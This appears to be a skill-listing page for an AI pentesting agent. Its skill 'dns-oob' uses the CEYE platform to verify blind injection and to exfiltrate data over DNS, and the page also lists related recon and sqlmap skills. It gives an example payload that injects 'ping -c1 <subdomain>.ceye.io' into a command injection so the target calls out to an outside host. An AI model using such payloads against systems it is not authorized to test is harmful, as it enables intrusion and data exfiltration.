Menu
DNS out-of-band (OOB) reflection / exfiltration via CEYE platform. Use when the operator asks for DNS OOB testing, out-of-band data exfiltration, blind injection verification via DNS, or CEYE record queries.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
| name | dns-oob |
| description | DNS out-of-band (OOB) reflection / exfiltration via CEYE platform. Use when the operator asks for DNS OOB testing, out-of-band data exfiltration, blind injection verification via DNS, or CEYE record queries. |
| activation | auto |
| version | 1.0 |
| tags | ["oob","dns","exfiltration"] |
| requires_tools | ["list_skill_scripts","run_skill_script"] |
| env_required | ["CEYE_API_TOKEN"] |
| when_to_use | When the operator asks for DNS OOB testing, blind injection verification, or CEYE record queries. |
Use this skill for DNS out-of-band interaction testing through the CEYE platform.
CEYE is a DNS/HTTP OOB interaction monitoring platform. You can trigger DNS queries from the target (e.g. via blind injection) and then query CEYE to confirm whether the queries were received.
list_skill_scripts(skill_name="dns-oob") to confirm available scripts.scripts/ceye_query.py through run_skill_script to verify connectivity.ceye_query.py with the appropriate filter.filter parameter.run_skill_script(skill_name="dns-oob", script_name="ceye_query.py", args_json='["--type","dns"]')
run_skill_script(skill_name="dns-oob", script_name="ceye_query.py", args_json='["--type","dns","--filter","abc123"]')
run_skill_script(skill_name="dns-oob", script_name="ceye_query.py", args_json='["--type","http","--filter","abc123"]')
The CEYE DNS subdomain format is:
{subdomain}.ceye.io
{subdomain} is your CEYE platform identifier (configured via CEYE_SUBDOMAIN in .env).
For example, if CEYE_SUBDOMAIN=abcdef123, inject ping -c1 abcdef123.ceye.io into a command injection. The target will resolve this DNS query. Then query CEYE records to confirm.
If you need to distinguish multiple tests, you can prepend a random prefix: {random}.{subdomain}.ceye.io, and use --filter {random} to filter results.
CEYE_API_TOKEN environment variable (configured in .env).CEYE_SUBDOMAIN environment variable (configured in .env).--filter parameter matches subdomain prefixes. Max length is 20 characters.record_finding when an OOB interaction is confirmed.Scoped web content discovery with the bundled dirsearch source tree. Use when the operator explicitly asks for dirsearch, directory enumeration, hidden file discovery, content brute forcing, or low-risk path discovery on authorized HTTP or HTTPS targets.
Scoped host-level reconnaissance with the bundled Nmap distribution. Use when the operator explicitly asks for nmap, port scanning, service enumeration, host reachability checks, or low-risk host discovery on authorized targets.
Safe first-pass web reconnaissance workflow for browser-assisted pentesting. Use when starting assessment on a web app, mapping exposed pages and flows, collecting passive evidence, or deciding whether deeper scripted discovery such as dirsearch, nmap, or sqlmap is justified.
Scoped SQL injection verification with the bundled sqlmap source tree. Use when the operator explicitly asks for sqlmap, SQL injection testing, raw HTTP request replay, form or anti-CSRF-aware injectable parameter verification, or conservative database fingerprinting and schema enumeration on authorized HTTP or HTTPS targets.